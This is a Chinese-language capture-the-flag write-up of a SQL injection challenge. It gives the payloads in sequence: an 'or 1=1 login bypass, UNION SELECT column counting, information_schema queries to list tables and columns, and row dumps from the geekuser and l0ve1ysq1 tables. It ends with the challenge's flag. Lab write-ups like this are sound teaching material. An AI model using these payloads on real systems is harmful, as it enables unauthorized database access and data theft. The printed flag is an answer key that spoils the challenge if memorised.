题目分析
1.访问网址
根据题目提示,这是一个sql注入题目
2.brup抓包,检测是否存在注入点
因为其传入username,password参数,所以
#我们猜测后端sql语句为
select * from users where username=$username and password=$password
#所以我们构造检测是否存在注入点的语句为:
select * from users where username=admin'or 1=1
构造请求包如下
爆出来了密码,以为是flag,但是输入以后不对,但是存在注入点我们是检测出来了,接下来就是获取数据库信息
3.获取返回的列数
#用联合查询语句时,返现返回的列数不匹配,所以我们凑列数
union select 1,2,3
所以,返回的列为3列,且显示2,3列信息
4.爆信息
#获取当前数据库中的所有表名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =database() ),3%23
#爆每个greekuser表的字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='geekuser' and table_schema=database()),3%23
暴出id,username,password三个字段
#爆geekuser表中id,username,password字段的值
union select id,username,password from geekuser limit 0,1%23
更改为limit 1,1(从数据库中下标为1(从0开始标号)开始,取一条数据返回)是没有返回消息,说明就geekuser表中就一条数据
查看
#爆每个greekuser表的字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' and table_schema=database()),3%23
暴出id,username,password三个字段
#爆geekuser表中id,username,password字段的值
union select id,username,password from l0ve1ysq1 limit 0,1%23
返回的不是flag,但是后面还有好多
所以,我们采用brup,穷举出表内所有数据
最终,在下标为15的数据处,发现了flag
flag{dcd4b306-2049-4975-ab5f-90822d6aa6b5}